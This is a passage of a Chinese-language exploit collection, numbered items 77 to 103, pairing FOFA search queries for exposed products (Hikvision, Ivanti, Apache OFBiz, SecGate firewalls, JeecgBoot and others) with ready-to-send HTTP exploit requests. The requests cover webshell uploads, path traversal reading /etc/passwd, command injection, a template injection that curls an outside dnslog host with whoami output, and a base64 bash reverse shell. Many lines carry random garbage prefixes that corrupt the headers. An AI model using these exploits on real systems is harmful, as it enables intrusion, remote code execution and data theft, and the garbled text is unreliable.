9 G+ `+ r- i' Z$ G5 ZHost: x.x.x.x
3 z% b& {( y8 S. ^$ d1 ?$ b
% ~7 ~4 N# P$ j
# }+ X+ L1 _. r1 L$ B
/ I: N+ L( k) O! ~9 y! N77. F22服装管理软件系统UploadHandler.ashx任意文件上传
5 A& C! Z( j+ W$ o  xFOFA：body="F22WEB登陆"
- @- ]- ]  O  P3 bPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) T2 J5 K! B3 u# M1 E+ n9 d7 GConnection: close
Content-Length: 433
4 U$ I* t! H# d4 ?2 _3 CAccept: */*
Accept-Encoding: gzip, deflate
0 b1 E4 ^! u2 E# V& eAccept-Language: zh-CN,zh;q=0.9
3 |$ P1 B: y) m% |! Q1 L$ DContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
- I5 X$ a1 G8 n/ N
3 L) y! @! S1 Q# r/ d! T5 A------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
) t! |% j' o- \5 HContent-Type: application/octet-stream

hello1234567
' M; q  `5 ^0 G- g------------398jnjVTTlDVXHlE7yYnfwBoix
- O$ U- P. E3 s3 eContent-Disposition: form-data; name="Upload"
+ p& s5 Z7 g; C. M
. |* |, u- Z1 I2 mSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

) H) o3 ^5 `4 k1 \8 u
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
2 V8 S  h, M$ FFOFA：icon_hash="2001627082"
+ t3 i6 H4 i% `" o2 iPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
' {* p; b! [! m; |
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

4 B# z! A& f3 ~% W/ @" {$ UYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
, ?6 x- }5 J" w7 o0 ]+ Z' \Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
* D! O5 {. w4 \. d& A# K+ b/ m9 G------YsOxWxSvj1KyZow1PTsh98fdu6l--

) A3 c$ ^/ V6 w9 u
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
5 l* }3 z7 N" A% V: ^Host: x.x.x.x

5 G/ k2 l- ^( C. f  r: ?3 L$ L% G
! H& k3 F  j' i& h2 E# u5 W79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
) M1 C, f; S9 t( C. J' v( pHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" m! @% p! T5 U8 `' CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" Z3 Z  D: P) |! q$ f3 V! [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- U+ P4 \1 L: o( G% i' |, ?% }Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


( ^$ c, h. P5 r4 Z0 a4 U80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- ]5 ^* Q) ?& UFOFA：app="速达软件-公司产品"
9 ~$ U* P; [* `+ {! _" m) }POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
4 J7 F0 Z7 V. y: h1 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 f- x4 N- \2 D" t* x) B& R/ JConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
* i# M4 Z6 ?" K- T2 t" X5 i2 W
<% out.print("oessqeonylzaf");%>

: K6 O6 I% q  d5 ~4 a8 G2 x( m( M
GET /xykqmfxpoas.jsp HTTP/1.1
" ~' X6 z$ e" s0 o3 X  NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 j) }" g" V, ^2 u7 f* c% NConnection: close
" ^: [: `/ o& f9 ~$ v- O; s8 A5 dAccept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
/ u3 q2 }- ]5 z+ l- t7 ^# EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ C& I8 J+ r* b* d" P; CAccept-Encoding: gzip

! w- Q- o3 R4 f5 k( [$ F
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
0 w: B6 I& W: {0 }) WFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
" E( M) {4 u0 w. _5 P% N8 v1 ZHost: BaseURL
1 {0 r, K7 ?  c8 g( YUser-Agent: Go-http-client/1.1
& w0 Y# k; k4 c- W. oContent-Length: 23
8 V6 b/ a& d/ c; ]2 LAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

* q' |" p6 c) p+ r. Nz1=1&z2="|id;"&z3=bhost

3 z( P0 C2 M! g+ l% G
, ~  [* |! a0 P83. JeecgBoot testConnection 远程命令执行
' n: q0 w+ k3 X2 [7 J1 d( K2 u. IFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
& {2 b  n) O) J6 {: [2 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 ?* n) G; T0 ^- R6 gConnection: close
- ?& [- @1 d9 ^7 @- r9 w" [' iContent-Length: 8881
; X0 z4 y1 N- GAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

5 ]& H7 n2 P, ?7 P3 rPAYLOAD
0 L" @* z' x6 Y9 `4 f
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' e# b1 n1 h" x4 E( sFOFA：title=="JeecgBoot 企业级低代码平台"

* P2 `- u4 l  b* A4 ^

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
3 g$ k( V9 g) R. `Accept: */*
, b7 _& Z7 {; g$ _1 Z. MConnection: close
2 u; D4 N' t" U0 B( \8 t# |Content-Type: application/json
Accept-Encoding: gzip

" |  ]2 s, M5 N{
" y$ B& ]4 b. X8 m2 o "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
4 y  D2 @7 w& y6 Q  w, S
0 B% J1 S6 T3 D8 M! F3 y( b' u
85. SysAid On-premise< 23.3.36远程代码执行
! G, L0 q+ a! x' ECVE-2023-47246
4 c6 g3 q" |" ~7 ?& a$ Q0 DFOFA：body="sysaid-logo-dark-green.png"
4 A. O2 G) C  ?: U& ~% DEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
1 g9 b6 o! c$ I; F% K6 \1 _0 mHost: x.x.x.x
( k  F8 M" [. `! F: ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
7 t* c) P, D. y3 N8 r# `/ x  t
! H2 [# M0 Y! u1 P* C5 o8 ]86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
& F7 v% t) j& a/ Q$ t' FPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
+ H3 o' P+ U+ mConnection: close
: M# [$ B' a; |% v  gContent-Length: 44
2 O! B+ A1 y2 H! WAccept: */*
Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

- h! u$ \4 ~0 [- L. T' ]: Q; f
4 ]0 H+ \+ b& @2 y% X9 z87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
9 R! E' A9 \' g9 [  VPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
% f- I" D# w, w) mHost: X.X.X.X
9 o+ @" w4 h3 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 j2 s. x& |8 `% b6 g5 S. z3 Y- iConnection: close
7 y- g' E5 j: m* N, XContent-Length: 198
7 r2 ?& s0 j* {2 ?5 hAccept-Encoding: gzip
1 \' \5 e8 s" y' P: L' kContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
: `4 S2 C: n7 B. O0 p
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
& Z2 `( T* N  @6 b! R$ yContent-Type: text/plain
) s' ~( ^) J& A) h5 I6 O
/ B4 E7 k5 D8 U7 L; D3 Q' z, Q7 ?9 f2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
. R0 V! R3 v/ H+ X7 @! f
+ I$ g* ?( j: M' c7 O  t; E, j
/jfhatuwe.php
8 |- l( H4 m# f2 ^1 T4 d0 l+ Y
. J3 U) f6 J/ |) p88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% a+ [4 r* Z- x1 z- j8 fConnection: close


/astdfkhl.php

/ Y4 P) z4 j2 m" C/ u5 x89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
2 z: l6 G1 ~% e' ^* G9 m/ VPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
6 z, \* o8 [1 V1 |* P* cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! ]0 F' Z+ E) ]- @  SConnection: close
5 d# S$ \$ _* c3 C( rContent-Length: 41
( a+ k2 o" n+ [/ h2 Y3 D3 BContent-Type: application/x-www-form-urlencoded
+ ]3 {$ m; `) W8 f( VAccept-Encoding: gzip
9 M3 Y/ m4 b) ^: P
+ k+ D* ]2 N2 S9 ?/ V* W- t1 E, \0 Xoption=2&GUID=-1'+union+select+111*222--+
. `( n, N% O: q6 z

+ w) Q% w& T$ c/ C& z90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
- p* p! n# Z8 u8 W# N0 iPOST /php/ping.php HTTP/1.1
; ?2 i; g6 A: A: q) EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
* d* W' p0 Y" n; L, o, d$ HContent-Length: 51
8 L! M; \; x5 pAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
9 M  x& |0 G8 H- QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
5 c& a; U) T9 r6 l0 F" XContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
( N3 C3 }" J' T/ }3 F2 G
, c4 ]( d* V+ cjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


+ T. ~9 {, u' k2 L& x- |7 @& [0 `91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
! _  H- t2 P" T6 I( _GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
( U5 B+ ~% }- t; qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
* r2 d  A- V0 PAccept-Encoding: gzip, deflate
Accept: */*
9 X2 k% m# v; K' j- V3 bConnection: keep-alive

! y$ s4 v1 Q. H# [

% W+ L+ F( Q6 u% S% |92. 海康威视运行管理中心session命令执行
Fastjson命令执行
; {, b3 [! O# h2 Thunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
( N7 s! b  c; ]% xAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
( E0 y6 t1 b* M# A" L. s$ h5 V; U$ oContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
0 x  o1 ~* I+ z' L& E' R; u& M+ wTestcmd: echo test
: O4 @* _) E+ }& F) _& B0 D8 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
" Z' d7 g2 _! |Accept-Language: zh-CN,zh;q=0.9
: z* y2 c4 m/ p& x, `* C- KContent-Length: 5778
# K( T0 s0 _4 B- }/ G& [, B/ k3 t2 E
PAYLOAD
8 N$ O5 s3 y+ o( b  z( e
- Q/ u+ d# s4 R1 u
* s3 p0 u( E( d/ L9 K93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
5 }, p' V. X4 wFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  _1 E! `0 v0 a& TPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
4 r) b* r4 F. ~3 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
% l: H1 ~# G9 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- {4 t7 |  v7 v
------WebKitFormBoundarykcbkgdfx
' f3 N! U; ]5 b/ N; D/ Q& |Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
& E9 g4 o0 P: ~0 @2 N' ^------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
/ S. |5 {. y1 D$ G1 aContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
/ |) |/ N7 i2 {% F0 r$ w------WebKitFormBoundarykcbkgdfx
0 Y- v: |1 b0 l2 RContent-Disposition: form-data; name="__hash__"

$ k  |0 D- b! q9 i( }0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
4 K# W/ h. J, O- U
! F) k" A1 s  {4 T! p
, r( d$ [, `# X7 h9 p: Q3 e  XGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


  D: C; n. X" _  t# N* H  a94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
/ b& N- f' b+ G  u$ ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
9 A0 i* W$ W& n' DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 }- C8 ?6 F# F5 c
% ^5 j' A- M$ \5 f------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
, m2 V! d4 @0 p' V" }$ M% h
10000000
) q! _& s9 R, X* S* Z9 \# B2 \------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
  d( Q3 S3 z3 d/ @! [- dContent-Type: text/plain
# o9 n2 o/ Q- L; V8 m, g0 X) i
7 B+ [& Z% B) N* vpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
. C" o  w! G6 B. z5 ^, J1 a8 R
# }9 `+ @2 ]. Wobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
5 f# ]# l3 K7 F; w8 X* k
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
+ P: A% \! Y5 m" O3 |
' `; u+ M  b. m

GET /attachements/xlskxknxa.txt HTTP/1.1
' X6 Z) m8 H& p# QHost: xx.xx.xx.xx
5 N5 s' x0 x: Q- z2 j( x, pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( H: h9 j5 v4 d! B& k
, o1 j0 l) i) p3 z8 j% L4 F9 }3 t

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
$ X" P8 z% ^. o+ y  {/ d3 k" t5 xCVE-2023-49070
FOFA：app="Apache_OFBiz"
) k5 z% w9 U9 {5 l: zPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
3 O: G2 y8 a9 u9 l5 z8 H& ^9 RHost: x.x.x.x
, l7 j+ p5 Y/ |$ e& `1 d# m5 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 Z: g; R# V, H, p9 m# ZConnection: close
' u5 z$ |5 \2 w# t' ]Content-Length: 889
8 _' u: f" _3 K4 w5 T3 Y# CContent-Type: application/xml
Accept-Encoding: gzip

5 _8 @* U( b3 ?7 c% f$ C- z<?xml version="1.0"?>
$ \' K' v/ K! z<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
: O) ^) ]/ }. E' d" f7 R    <params>
6 A, n- H4 Y, o: m' z      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
/ q8 Y9 o8 Y# I- ]8 I; U# y        </member>
5 A- M6 ^" e% [+ r. N: E: R1 z1 y" s      </struct>
      </value>
    </param>
    </params>
# `3 W2 p  `+ r* T% d</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

: `% r" R2 N0 `9 M
0 S& a, E- Z9 W! ~9 J将生成的payload替换到上面的POC
' K7 c3 m: i' j* P7 G1 Q& S" ?POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
! F9 {# A* T$ ?3 }+ Q5 J( V- FHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
; C6 y7 b8 O; s7 _' o1 h* Q$ i
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+ F  J& T7 J7 n7 l; aHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 y! q/ H1 S5 K/ Q% UContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
3 w9 R* |& Z3 R( ]) ]' f5 \
  ]! u1 g6 R! m" l$ L; i
反弹shell
' v/ u. I& O# Z! \5 f0 d: y3 [在kali上启动一个监听
nc -lvp 7777
4 G# B3 w0 g& z4 S& H7 }) n
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 [0 H4 _; u8 p, W" _Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ {& [& u- }5 B2 RAccept: */*
+ F) B0 b% {1 U9 i( O2 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! r* i  d4 x! g4 YContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
0 J) L" v5 Z4 z5 M9 Q# SFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
1 }# L$ t2 c; z# z! THost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
5 ^# f, `! O6 T! uConnection: close
* h, D; G( G) C8 U" tCookie: rememberMe=PAYLOAD
" H* g5 {4 A$ [" K, P7 U3 QX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
2 i& [; s+ I+ R- l! m5 TCVE-2024-0195
: o8 I: n4 E. l! f  m* C6 cFOFA：app="SpiderFlow"
  j, L( A- R: e8 [3 g- D6 X+ dPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
% n. u; u5 t! |* o/ I/ l/ [. X8 f/ l% EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, i9 }4 @: `8 I# f2 S& LContent-Type: application/x-www-form-urlencoded; charset=UTF-8
9 y! k3 s# {5 f( b7 X8 v! vX-Requested-With: XMLHttpRequest
' F6 W; ?- z# R( b- ?
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
% ]' V3 g# x9 V1 c( v' x1 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% O* @9 f. B% @Connection: close
3 Q- d- ?7 D9 t; v# z- a) RContent-Length: 154
/ a) x. V8 G) C" ~Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 _: S( M# E/ @1 @5 ^4 [9 X0 ^Content-Type: application/x-www-form-urlencoded; charset=UTF-8
/ j. e# M+ a& P* c  o, JX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
- W4 y' S5 A- h. t1 h5 U* n

$ M2 t: @4 z& c% Q! Q* _2 e100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& N7 r0 W6 T) J+ D  f6 q) y% V, ?CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
9 c* `/ K' ]7 [0 tHost: 192.168.40.130
: ?1 E* _" K" Y0 j# E$ u# lUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: Z# s8 i5 p. n! ^Connection: close
2 v6 `# u* c4 t  X  `9 s2 o. h8 bContent-Length: 201
6 c4 E( ^% M0 f4 A3 s2 `Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
4 v6 j6 v- c( B" \  \5 `7 cAccept-Encoding: gzip
2 X1 N9 G* f% [' [; z# e. o+ S
0 F% ~" X7 ~: h* M* T1 y4 |& Y------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
4 N5 P! U/ {1 LContent-Type: application/x-php

% t7 L8 @! x" H& [3 {2ayyhRXiAsKXL8olvF5s4qqyI2O
/ \" t! I% F+ R* j( i------WebKitFormBoundarygcflwtei--
( P/ W$ v) ~5 b( C+ n2 A0 V

101. ivanti policy secure-22.6命令注入
, L$ S3 q: p4 oCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
) G) D# @' @  y' S" l, fHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


7 h9 _. h8 j; m% M" [0 m. R102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
& g4 \, ^$ b% ]CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
( R( V: `3 l: s, V! E* Q: d! {POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
) X* U* ]% ?# x! l3 s5 t% t
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

% z# V0 H' k3 }103. Ivanti Pulse Connect Secure VPN XXE
6 z" E; m$ W! BCVE-2024-22024
